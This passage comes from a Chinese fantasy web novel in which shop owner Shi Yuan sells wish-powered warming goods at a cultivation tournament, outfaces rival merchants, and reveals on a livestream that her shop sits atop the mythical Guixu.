时愿把准备好的货物和行李装进纳戒，饕餮怕时愿不带它去，准备偷偷溜进纳戒，被时愿当场抓包。 “谁说不带你了？” 饕餮欢呼一声，扑进时愿的怀里。 下飞机后，入住蓬莱大学预订的酒店。 瀛洲大学在北方，时愿一觉醒来，拉开窗帘，外面落了一层薄薄的雪。 时愿全副装备，给饕餮也穿上厚衣服，裹上围巾，准时上了学校的大巴车，前往瀛洲大学。 瀛洲大学在山里，一路过去，风景美不胜收。 瀛洲大学很重视这次联赛，时愿抵达的时候，校门口的积雪扫得很干净，摆摊帐篷已经搭建好了，她以为需要自己搭呢。 摊位不多，一共只有三个。 “姐姐，我去报到了。”龙翻雪说，“有什么事随时联系我。” “我这能有什么事，放心去比赛吧。我这边走不开，没办法去给你加油了。” “小比赛，姐姐的事情比较重要。” 饕餮不耐烦地踹了他一脚：“别废话，速战速决回来帮忙。” 龙翻雪：“。” 磨磨唧唧不肯走，打算挨个和时愿告别的学生们赶紧散了。 时愿正在布置摊位，门口的铃铛被拉响了。 一个青年和一个姑娘站在门口，两人都裹成了粽子。 姑娘问：“老板，我们可以进去吗？” “当然。”时愿帮忙掀开门帘，“请随意看。” “你一个人来摆摊吗？”姑娘说，“我们是旁边小摊的，我叫宋觅夏，摆小吃摊的。” 青年说：“我是江年，卖灵器符箓的。” “你们好。”时愿报上大名，指了指旁边的饕餮，“除了我，还有猫。” 两人这才注意到桌面上蹲着一只猫，它全身漆黑，很隐形，两人没有太在意。 江年看着货架上的帽子、手套、围巾、耳罩等等保暖用品，怎么看都是普通商品，不由得有些担心：“你只准备了这些吗？来参赛和观赛的人都准备了这些，可能不好卖出去。而且卖出去，也赚不了多少钱，完全没必要大费周章来深山里摆摊吧。” “江年说话直，你别介意啊。我们连续参加好几届联赛摆摊了，去年只有我们两个散修摊位，今年看到新伙伴，我们特别高兴。”宋觅夏说，“这里有点冷，我们帮你贴一些保暖符吧。” 江年拿出一沓符纸，对时愿说：“一张可以保暖半小时，这里贴六张就可以了。” “时老板，你居然真的来门口摆摊，我都有点佩服你了。”尹老板掀开门帘进来，很夸张地打了个冷颤，“怎么这么冷啊，连暖气都没有，真是辛苦我们时老板了。” 薛老板看到江年手里的符：“用这种短效保暖符也太寒酸了，还不如用暖宝宝或者取暖器。” 这话属实难听，江年捏紧拳头，被宋觅夏拦了一下。他们不能给时愿惹麻烦。 “忘了介绍了。”尹老板对第三人说，“陈老板，这就是我们蓬莱最受欢迎的商店的老板，时老板。时老板，陈老板在瀛洲大学开店，也是商会的管理之一，他听说了你的名声，一定要来见你一面。” “时愿，商会一直在等你上门，你怎么没来呢？”陈老板露出嫌弃的表情，“要是你上门请教，商会的人也能指点你一二，不至于带这些东西来卖。” 时愿：“……”这几个人真的戏很多。 “校门口户外的摊位，条件是不如校内。”时愿勾唇，“既然三位对我们散修摊位这么关心，不如来打个赌吧，要是今天我们的营业额比你们高，我们就交换摊位，直到比赛结束，如何？” 尹老板：“要是你输了呢？” 薛老板：“要是你输了，就永远不准加入商会，敢吗？” 时愿：“可以。” 她本来也不打算加入来着。 第87章 “她答应得是不是太干脆了？” 离开时愿的摊位后, 尹老板越想越觉得不对劲。 “是啊，永远不加入商会这种大事，她毫不犹豫。”薛老板也有些不安，“瀛洲大学把公道写进校训, 出了名的眼睛里不揉沙子。” 薛老板指了指地面：“我们比赛的事, 虽然只是口头约定, 但已经被这片土地听到了，谁都不能作弊，否则将受到惩罚。” “是啊，这件事所有修士都知道。”尹老板心里开始打鼓, “她这么有信心, 难道, 真的有制胜法宝？” “你们这是怎么了？”陈老板不解，“你们不是说, 她在蓬莱的时候, 全靠蓬莱的守枫和你们抢生意, 本人只是个草包吗？你们说得没错啊，她一点修为都没有。蓬莱守枫没跟过来，她在门口摆摊能掀起什么风浪？” 尹老板：“是啊, 我们之前是这样想的。” “行了, 我们也别自己吓唬自己了。”薛老板忽略掉心里那点违和感, “我们代代相传, 参加了这么多届联赛活动，还能输给她一个新人不成？” 陈老板揽住他的肩膀：“就是, 等她输了，不能加入商会，就算有守枫撑腰, 也成不了你们的威胁。天太冷了，咱们回店里喝酒去。” 他们的店里员工多，不用自己做事，可以围炉煮酒。 一杯热酒下肚，尹老板和薛老板的胆量又回来了。 尹老板：“刚才真是想太多了……” 尹老板的话戛然而止，薛老板道：“怎么了？把话说完啊。” 尹老板：“你看外面那只猫，像不像时愿店里的那只？” 薛老板：“黑猫都一个样，看不出来啊。” 陈老板眼力好：“是那只。这只猫的眼睛很特别，纹路像一座座金山。” 黑猫一直盯着他们，尹老板被看得有点发毛：“怎么回事，时愿派它来做探子？” 陈老板：“只是一只普通的田园猫，尹老板，你怎么又开始自己吓唬自己了？” “陈大哥……那只也……”薛老板结巴道，“也只是普通狐狸吗？” “那是镇守瀛洲大学的妖兽，千年雪狐，它很少现身，辈分很高，地位比校长还……”陈老板说着说着，没了声音。 他们看到，千年雪狐走到黑猫面前，恭敬地低头问好，姿态放得极低。 黑猫甩了甩尾巴，雪狐立即告退。 尹老板一时拿不稳手中的酒杯，摔了一地碎片。 心中的不安放到最大，刚喝下去的酒变成冷汗蒸发，连声线都有些不稳：“薛老板，我们猜错了，错得离谱。” 这只黑猫不知什么来头，连瀛洲的镇守妖兽见了它都要行礼。 而这只猫，甘愿当时愿的宠物。 愿望杂货铺不靠守枫撑腰，也没耍花招，时愿不是没灵力的普通人，她只是隐藏得太深了。 薛老板懊悔不已：“我真是被猪油糊了眼，现在怎么办？” 知道黑猫身份不简单后，薛老板总觉得，黑猫看他们的眼神，充满了怒火，像是想把他们生吞了。 “你们这回真是把我害惨了！”陈老板哆哆嗦嗦地站起来，不小心掀翻了桌子，一地狼藉，店里的员工被吓了一跳，过来询问需不需要帮忙收拾。 陈老板什么都听不进去了，脸上一点血色都没有：“黑猫憎恶我们冒犯了它的主人，妖的行事原则和人类不一样，它发起火来，是真的能要了我们的命！那个比赛，我们认输，我们搬出去，不，不，我们退出本届联赛活动，三、五、十……十年……永远都不再参加！” 陈老板说话语无伦次，薛老板和尹老板却听懂了，他这是隔着一扇玻璃门，在向黑猫求饶。 他们也眼巴巴地看着黑猫。 黑猫转身离开。 “这是同意了吧？”尹老板跌坐在地上，两条腿都在抖。 “赶紧，赶紧去向时愿道歉！”陈老板比他们更尊重雪狐，所以比他们更恐惧。 约好比赛的三个人突然来道歉认输，说学校里的摊位已经空出来了，他们要退出本次活动，时愿随时可以搬过去。他们痛哭流涕，眼里满是恐惧。 时愿不知道具体发生了什么事，让他们突然改变主意，但是她大概猜到了。 时愿让他们看着办，他们就劫后余生似的，匆匆忙忙地走了。 在宋觅夏和江年看来，这些修仙世家出生的人，之前还趾高气扬，对散修摊位一脸不屑，这还没过多久，态度一百八十度大转弯，实属奇怪。 从之前的对话来看，时愿在蓬莱大学内有店铺，且被商会针对了。在短短时间内，麻烦就被解决了，这是巧合，还是时愿出手了呢？ 宋觅夏觉得，萍水相逢，对他们来说，答案并不重要。 宋觅夏：“我们帮你把东西搬过去吧。” “谢谢，我不打算搬，这里挺好。”时愿解释道，“他们总是来找麻烦，我只是想让他们消停点。你们想搬可以搬过去，瀛洲大学应该不会反对。” 宋觅夏愣了愣，片刻，她真诚道：“我们也留下。” 直觉告诉她，留在这里，会更有意思。 “保暖符失效了。”江年撕下身上的符纸，冻得打了个哆嗦，“符纸失效的瞬间最冷。他们有一点说得没错，保暖符半小时一换，在室内不如用取暖器，在室外不如暖宝宝。时老板，我还是去帮你找一台取暖器吧。” “不用，我不冷。”时愿指了指货架，“你们挑一顶喜欢的帽子吧，我送给你们当见面礼。” 宋觅夏选了一顶白色的针织帽，她换上后，在镜子前照了照，越看越喜欢：“谢谢，很漂亮……咦？” 身体越来越暖和了！ 江年也有这种感觉，他很惊讶：“浑身上下都变暖和了，原来你这些保暖用品都是灵器！” 这数量也太夸张了吧！ 宋觅夏问：“时老板，这个灵器可以保暖多久啊？” 时愿：“你希望多久，需要多久，就可以保暖多久。” 由意愿操控的灵器！稀有物！难怪时愿懒得搬，有这种宝物，在户外也不冷，而且不管在哪里，都不愁销量呀！ “这太贵重了，我们不能收，但我真的很想要。”宋觅夏问，“我们可以买下来吗？” 时愿：“要是过意不去，请我吃你摊位的小吃怎么样？” 宋觅夏：“这样就够了吗？我的小吃定价也不贵，只是一些蕴含少量灵气的食材。” 时愿：“闻着很香，我早就想尝尝了。” 宋觅夏和江年的摊位各有一位兼职工，时愿给她们也送了帽子，收获一连串的“哇～”声。 这四个人知道时愿的摊位有好东西后，轮流在门口帮时愿吆喝宣传，吸引来了几个好奇心重的学生。 他们的羽绒服上有校徽，是方壶大学的学生。 他们想知道，这几个人为什么在冰天雪地里还这么有活力，在宋觅夏的极力推荐下，买了围巾和帽子。 “老板，真的不先收灵石吗？”一头银色长发的女生问时愿，“我不想再跑一趟了，你出个价，我现在就给你。” 时愿：“比赛结束后，你要是觉得不值，可以不回来付钱。” 这么自信！原本没打算买的两位学生也心动了，选了耳罩和手套。 带队老师在催促，他们来不及换上试试，急匆匆地走了。 银发女生即将上擂台，她想起在校门口买的帽子和围巾，怀着试一试的想法换上，她感受了一下，没有太大的差别。 上场后，银发女生才知道，她这一场的对手是冰雪系的修士。死冷的天，在户外比赛，还有积雪，完全是冰雪系的主场啊！ 被对手用冰封术冻起来的时候，银发女生欲哭无泪，心想：要死了要死了，对手用的寒冰剑一看就很贵，她身上根本没有可以与之匹敌的法宝，之前应该斥巨资买下万珍阁的恒温宝石，不想认输，好想暖和一下…… 当她产生这个想法的时候，身上忽然变暖和了，冻僵的手指能动了。 解除困境后，女生发现，是身上的帽子和围巾在供暖！ 赢下比赛后，银发女生立刻去和老师汇报，没过多久，方壶的考生就人手一样愿望小摊的保暖用品。 消息迅速传开……愿望小摊的生意十分火爆，还带火了旁边的散修小摊。 时愿趁机打广告，今晚愿望小摊会参加万珍阁的拍卖会，拍品是从百溪秘境带出来的失传心法。《 》 THE END 第88章 商会从陈老板处收到消息时, 已经晚了。 万珍阁有时愿那本失传心法的助力，加上不遗余力的宣传，风头比仙门拍卖会更盛。 拍卖会的第一天，万珍阁拍卖场座无虚席, 经过激烈竞价, 压轴的失传心法被瀛洲大学以50万灵石的高价拍下。 万珍阁创下了百年来的最高成交纪录。 愿望杂货铺一鸣惊人, 幕后老板成了仙门热议话题。 次日，方壶大学和瀛洲大学越过商会，先后向时愿递出了橄榄枝，邀请她到学校里开分店, 不管蓬莱给她什么待遇, 他们都愿意在那个基础上再翻一倍。 商会管理层知道这个消息后, 个个面如死灰。他们知道，天要变了, 这意味着, 商会管理层即将被大换血, 往后会有更多散修有机会进入修仙大学开商铺。 时愿参加联赛活动的目的已经达成，带来的商品也都卖完了。决赛那天，她没有摆摊, 去看龙翻雪的比赛。 龙翻雪的对手是方壶大学的一年级剑修, 两人一上擂台, 看到彼此戴着杂货铺的毛线帽, 围着杂货铺的围巾，戴着杂货铺的耳罩, 手上还戴着同款羊皮手套，还没开打，先笑场了。 剑修说：“我知道你, 你赢下小组赛接受采访的时候，给你姐姐的摊位打广告，我就是看了你的采访，才选的同款。还好我们学校买得早，晚一点都买不齐这几样。” 龙翻雪：“多谢支持，但我不会手下留情的。” “我也不会。” 话音刚落，两人同时发起攻势。时愿一开始根本看不清他们的动作，只能看到两团人影在擂台上飞速移动，后来渐渐能看清了，再后来，他们的动作在她的眼中放慢，她能预判出他们的下一个招式。 剑修要输了。 时愿作出判断没多久，剑修就被龙翻雪一掌打飞了。 龙翻雪获得一年级组冠军。剑修输了也没有情绪，抱着剑跑回去找龙翻雪交流心得去了。 颁奖典礼后，龙翻雪想把金牌送给时愿。 时愿：“不送给你爸爸妈妈吗？” 龙翻雪：“因为一些私人原因，我爸妈不再涉足北方地区，我不知道他们收到奖牌是会高兴，还是会勾起伤心的回忆，但姐姐会喜欢这份礼物，对吗？” 时愿笑着点头。 龙翻雪把金牌挂在她的脖子上：“下一届联赛在蓬莱举办，我再拿个奖牌送给他们。” 时愿：“好，我把这枚奖牌挂在店里。” 联赛活动圆满结束，蓬莱分店也上了正轨，时愿去青云山和楼嚣一起准备网店的开业事宜。 愿望杂货铺积累了一批忠实顾客，网店开业后，其他城市的老顾客们纷纷下单支持。楼嚣经营的社交账号也蒸蒸日上，为网店吸引了不少顾客。 来自全国各地的愿力点亮了青云山。 方壶分店和瀛洲分店开业后，愿望杂货铺的灵气增长速度变快了。 开店和拍卖赚来的灵石铺满了仓库。 山海秘境通道即将开启。 …… “噗——”问卜者吐出一口鲜血，脑袋重重地磕在地面上。 他伸出一只手，抓住旁边金发青年的手臂。 金发青年抬起他的脑袋：“你问到什么了，竟然要付出这么大的代价？” “杂货铺是……”问卜者又吐出几口血，话都说不出来了，他用手指沾了血，在地上写下三个字。 归墟井。 问卜者写完最后一笔，咽了气。 他们是冥河会仅剩的两位骨干，从陶蓦回手底下艰难逃生后，他们东躲西藏至今。 这段时间，问卜者焦虑不安，说他有预感，再不动手，他们就永远都没有机会实现让冥河流入人间的梦想了。 今日，问卜者不惜以性命为代价，问出了天大的秘密。 愿望杂货铺就是归墟，杂货铺里的那口井，比什么黄泉井都要厉害。 金发青年盖上问卜者的眼睛，抹去地上的血迹，神情越发疯狂。 “我知道该怎么做了，我不会让你白死。” 金发青年改头换面，打扮得十分不起眼，他来到桂圩镇，躲在杂货铺附近的隐秘角落里，贴上最后一张珍贵的隐身符，隐藏气息，尾随几个顾客混进杂货铺。 杂货铺翻新后，和他印象中的样子完全不一样了，花园里有不少游客，他以这份热闹为掩护，悄悄接近水井。 碰到井盖的瞬间，他被烫得缩回手。暴露了！金发青年立刻要逃，却被人点了穴带进屋里。 隐身符失效了，金发青年看到站在面前的陶蓦回，知道已无力回天。 陶蓦回打量他片刻，揭下了他的人、皮、面具。 “是你，冥河会的。”陶蓦回问，“你有什么目的？” 陶蓦回今日休假，特意回来摘新鲜蔬菜，没想到正好撞上此人潜入杂货铺。 金发青年一言不发。 时愿听陶蓦回说了金发青年的来历后，做了决定：“把他移交给妖管局。” 进了妖管局后，金发青年依旧不肯说话，祝知通过蛛丝追踪，只调查出他的另一个同伴已经死了，那人在死之前问了一卦。 “你一直在看时间。”祝知很敏锐，“你在等什么？” “我可以告诉你们，我去杂货铺想干什么。”金发青年开口了，“你们知道黄泉井的传说吗？能通向黄泉路的井，被称呼为黄泉井。这个传说是真的，但是要用生魂开路。” 胡戏文反应很快：“上次害叶幽尘的人是你！” “是我。”金发青年一口认下。 祝知：“杂货铺里的井又不是黄泉井，你的目的到底是什么？” “那口井不是黄泉井，但是能通往冥河。我只要献祭灵魂，就能让冥河水喷涌而出，淹没整个桂圩镇！”金发青年大笑起来，脖子上青筋突起，“你们知道吗？杂货铺底下，就是归墟！” “这就是死亡的那名骨干问出来的天机。”祝知浑身发冷。 胡戏文盯着青年：“你还做了什么？” 他一定还策划了什么可怕的事，不然不会突然招供。 “冥河会成立这些年，做得最好的一件事，就是收集情报。我知道我可能会失败，所以，我在行动之前，就设定好了定时发送的信息。”金发青年再次看向时钟，“现在，仙门和玄门的诸位，应该都收到我的信息了吧。” 金发青年的口鼻流下鲜血，可他还在大笑：“仙门和玄门要大乱了，我会随着冥河水，再次回到……人间……” 祝知测了他的鼻息，对胡戏文摇了摇头：“天罚。” 时愿的手机被打爆了。 她设置了免打扰，不紧不慢地浏览收到的信息。 [叶幽尘]：前辈，我收到匿名信息，说杂货铺底下是归墟。很多人都收到了同样的信息，恐怕会有麻烦。我和师兄马上赶过去。 [楼嚣]：时总，这到底是怎么一回事？算了，我们先去杂货铺找您。 [龙翻雪]：姐姐，现在情况怎么样？我在回去的路上，我爸妈说他们先去杂货铺帮你撑着。 [秦暮雨]：姐姐，您需要帮忙吗？听说多方势力蠢蠢欲动，有些修仙家族为此唤醒了闭关的老祖宗，我们大家都很担心你。杂货铺是我们寄存愿望的地方，我们真的很喜欢杂货铺，也很喜欢您。 时愿一一回复，让龙翻雪和秦暮雨安心留在学校里，她能应对。 今日天气晴朗，天空干净明澈，一朵云都没有，让时愿想起了台风来临前的那天。 她感觉到，有很多道强大的气息往杂货铺方向赶来。 最后一位顾客离开后，时愿在门口挂上了打烊的牌子，又在朋友圈发了公告，提醒大家不要跑空。 最先赶到的是龙叔和锦姨。 锦姨抱了抱时愿：“小愿，原来你一直担着这么重的担子。你放心，叔叔阿姨会永远站在你这边，谁也抢不走你的家。” 时愿请他们到茶室坐，从容泡茶。 叶幽尘和楼嚣很快也到了，连楼渊都来了。 楼渊一现身，聚集在杂货铺外面的气息立刻少了几道。 也仅仅少了几道。 对面的电线上站着一排鸟，全是各方势力派来的耳目。 “劳烦大家为我操心了。”时愿给他们斟茶，“大家不用这么紧张，你们都是我信任的朋友和长辈，今天请你们来，不是为了借你们的力量赶走这些觊觎杂货铺的‘人’，而是为了让你们放心。” 门外出现一个高壮的修士，面容看着只有三十来岁，但头发和胡子都白了。他推门而入，目光锁定时愿，不客气地说：“你就是时愿。你守不住这家店，还是早些搬出去为妙，出个价，卖给我吧。” 叶幽尘站了起来，时愿让他坐下，对修士说：“你等一下。时间差不多了，我先开个直播。” “开直播？”修士拧紧眉头，一头雾水，这种危机时刻，还开什么直播？ “蓬莱仙书，蓬莱大学开发的新软件，你也可以注册一个账号来看直播。” “？”修士拿出手机搜索，居然真的安装成功了，他通过灵力测试后，注册了账号。 时愿已经开播了，一开始进入直播间的只有蓬莱的学生，但杂货铺外有许多双眼睛盯着，消息传得很快，直播间的观众越来越多。 “大家好，我是时愿，愿望杂货铺的老板。” “传言没错，这里就是归墟。” 镜头一转，对准一扇门。 门开后，一只黑猫走了出来，直播间无法识别其境界，推测为上古凶兽。 接着，一个卷毛帅哥走了出来，直播间识别他的境界是金丹巅峰。 接着，一个顶着狌狌脑袋的妖修走了出来，直播间无法识别其境界，推测其为妖王。 接着，一位拥有倾国容颜的九尾狐仙走了出来，直播间无法识别其境界，推测其为妖王。 接着，一个长发帅哥走了出来，直播间无法识别其境界，推测其为神仙。 这还没完，只在古籍里见过的传说级山海大妖纷纷现身，在时愿身旁落座…… 时愿调整好镜头，看向店里的那位修士，眼神有些冷：“那你们认为，我是谁？” 直播间刷了满屏的弹幕： [姐姐是归墟之主！] [姐姐是归墟之主！] [姐姐是归墟之主！] “我、我还有点事……”壮汉修士腿都软了，没走两步就跌了一跤，连滚带爬地跑了。 门外，那些觊觎的视线全都收了回去，战战兢兢地散了。 …… 愿望杂货铺的网店的生意非常火爆，杂货铺也成为了全国闻名的许愿地，来桂圩镇的游客越来越多了。 年前，桂圩镇在山海大妖们的帮助下，完成了基础建设升级，新铺了道路，景观绿化一街一景，翻新后的农贸市场又大又宽敞，码头和医院正在建设中，预计明年可以竣工。 除夕夜。苏烛的叔叔婶婶一家回来过年，两家人在一起吃了顿饭。 时愿和苏烛上天台放烟花，零点一过，桂圩镇的天空绽放成千上万朵绚烂的烟花。 “时愿，新年快乐。” “苏烛，新年快乐。” 他们的手牵在一起。 他们要在一起度过一年又一年。 小镇，今日依旧安宁。《 》